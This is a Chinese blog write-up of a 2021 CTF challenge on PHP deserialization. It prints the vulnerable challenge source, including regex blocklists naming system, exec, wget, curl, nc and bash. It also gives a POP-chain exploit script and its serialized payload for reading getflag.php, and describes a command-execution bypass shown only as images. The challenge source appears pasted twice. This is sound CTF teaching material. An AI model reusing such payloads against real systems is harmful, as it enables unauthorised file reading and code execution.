从一道简单题对php反序列化与命令执行的再认识——绿盟杯2021 flag在哪里

31 篇文章 4 订阅
9 篇文章 0 订阅
本文详细介绍了PHP反序列化漏洞的利用过程,通过分析代码,展示了如何构造POP链来触发特定行为。作者分享了利用begin类的魔法函数实现文件读取,并演示了如何绕过安全检查,最终达到读取getflag.php的目标。同时,文章还提到了dir命令在不同平台的使用,以及文件读取的技巧。
摘要由CSDN通过智能技术生成

前言

最近做了很多比赛的题目,而且都是我认为学的不错的PHP反序列化题目。但结果却是被暴打,现在新颖的题目类型,以及利用方法是都是我之前没有学到的。有些本应该会的题目也会因为粗心大意没有细心去解决问题。说多了,还是自己太菜了。咱们接下来上正菜。

正文

(以下的解题思路来自于末初大佬
下面是题目的源代码

<?php
error_reporting(0);
<?php
error_reporting(0);
class begin{
    public $file;
    public $mode;
    public $content;
    public $choice;
    public function __construct()
    {
        $this->file = "file";
        $this->content = "content";
    }
    function __wakeup()
    {
        if($this->mode=="write"){
            $this->choice= new write();
        }
        if($this->mode=="read"){
            $this->choice= new read();
        }
    }
    function __call($file,$content) {
        highlight_file($this->file);
    }
    function __destruct(){
        if($this->mode=="write"){
            $this->choice->writewritetxt($this->file,$this->content);
        }
        else{
            $this->choice->open($this->file);
        }
    }
}
class write{
    public function writewritetxt($file,$content)
    {
        $filename=$file.".txt";
        if(is_file($filename)){
            unlink($filename);
        }
        file_put_contents($filename, $content);
        echo "成功写入";
    }
}
class read{
    public $file;
    public function __construct(){
        $this->file="test.txt";
        echo "欢迎查看  ".$this->file."<br/>";
    }
    function open($filename){
        $file=$this->file;
        if(is_file($file)){
            if($file=="getflag.php"){
                die("getflag.php没东西");
                }
            else{
                highlight_file($file);
                }
        }else{
            echo "文件不存在";
        }
    }
}
function check($dis_content){
    if(preg_match('/system|eval|wget|exec|zip|passthru|netcat|phpinfo|`|shell|\(|\)/i', $dis_content)){
        die("hack !!!");
    }
}
$pop=$_GET['pop'];
if (isset($pop)) {
    check($pop);
    unserialize($pop);
} else {
    highlight_file("index.php");
}
?>
class write{
    public function writewritetxt($file,$content)
    {
        $filename=$file.".txt";
        if(is_file($filename)){
            unlink($filename);
        }
        file_put_contents($filename, $content);
        echo "成功写入";
    }
}
class read{
    public $file;
    public function __construct(){
        $this->file="test.txt";
        echo "欢迎查看  ".$this->file."<br/>";
    }
    function open($filename){
        $file=$this->file;
        if(is_file($file)){
            if($file=="getflag.php"){
                die("getflag.php没东西");
                }
            else{
                highlight_file($file);
                }
        }else{
            echo "文件不存在";
        }
    }
}
function check($dis_content){
    if(preg_match('/system|eval|wget|exec|zip|passthru|netcat|phpinfo|`|shell|\(|\)/i', $dis_content)){
        die("hack !!!");
    }
}
$pop=$_GET['pop'];
if (isset($pop)) {
    check($pop);
    unserialize($pop);
} else {
    highlight_file("index.php");
}
?>

我们可以看到在上面三个类中begin类是最有利用价值的,因为它拥有超多的魔法函数。
基于此我们要构造一个pop链
begin类调用open触发begin类的__call()然后利用__call()中的hightlight_file()查看getflag.php。
思路已出我们构造exp

<?php
error_reporting(0);
class begin{
    public $file;
    public $mode;
    public $content;
    public $choice;
    public function __construct()
    {
        $this->file = "getflag.php";
        $this->content = "content";
    }
    function __wakeup()
    {
        if($this->mode=="write"){
            $this->choice= new write();
        }
        if($this->mode=="read"){
            $this->choice= new read();
        }
    }
    function __call($file,$content) {
        highlight_file($this->file);
    }
    function __destruct(){
        if($this->mode=="write"){
            $this->choice->writewritetxt($this->file,$this->content);
        }
        else{
            $this->choice->open($this->file);
        }
    }
}
$x = new begin();
$x->choice = new begin();
echo urlencode(serialize($x));
echo serialize($x);
?>

结果如下:

O%3A5%3A%22begin%22%3A4%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22getflag.php%22%3Bs%3A4%3A%22mode%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A7%3A%22content%22%3Bs%3A6%3A%22choice%22%3BO%3A5%3A%22begin%22%3A4%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22getflag.php%22%3Bs%3A4%3A%22mode%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A7%3A%22content%22%3Bs%3A6%3A%22choice%22%3BN%3B%7D%7D

然后就有下面的getflag.php部分

<?php
error_reporting(0);
$a=$_POST['a'];    
$b=$_POST['b'];
if(preg_match('/cat|more|less|head|tac|tail|nl|od|vi|sort|cut|ping|curl|nc|grep|system|exec|bash|unique|find|popen|open|ls|rm|sleep|chr|ord|bin|hex|dict|#|`|\$|\<|\(|\[|\]|\{|\}|\)|\>|\_|\'|"|\*|;|\||&|\/|\\\\/is', $a)){
    die("hack!!!!");
}
if(!preg_match('/[a-z]/is', $b))
{
    die("big hack!!!!");
}
call_user_func($b,$a);

下面就基本上完全是末初大佬的思路了
首先是system绕过
在这里插入图片描述
然后是dir的用法(我之前以为dir命令只能在Windows下使用,属于是孤陋寡闻了。)
在这里插入图片描述
先是列一下当前的目录文件。
在这里插入图片描述
结果如下
在这里插入图片描述
这些文件里面那个_f_l_a_g.php是真的flag文件。因为下划线被ban了。
所以可以用通配符。(原文链接
在这里插入图片描述
可以用如下方式进行文件读取
在这里插入图片描述
在这里插入图片描述
然后就是将上面这串字符反转就行了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值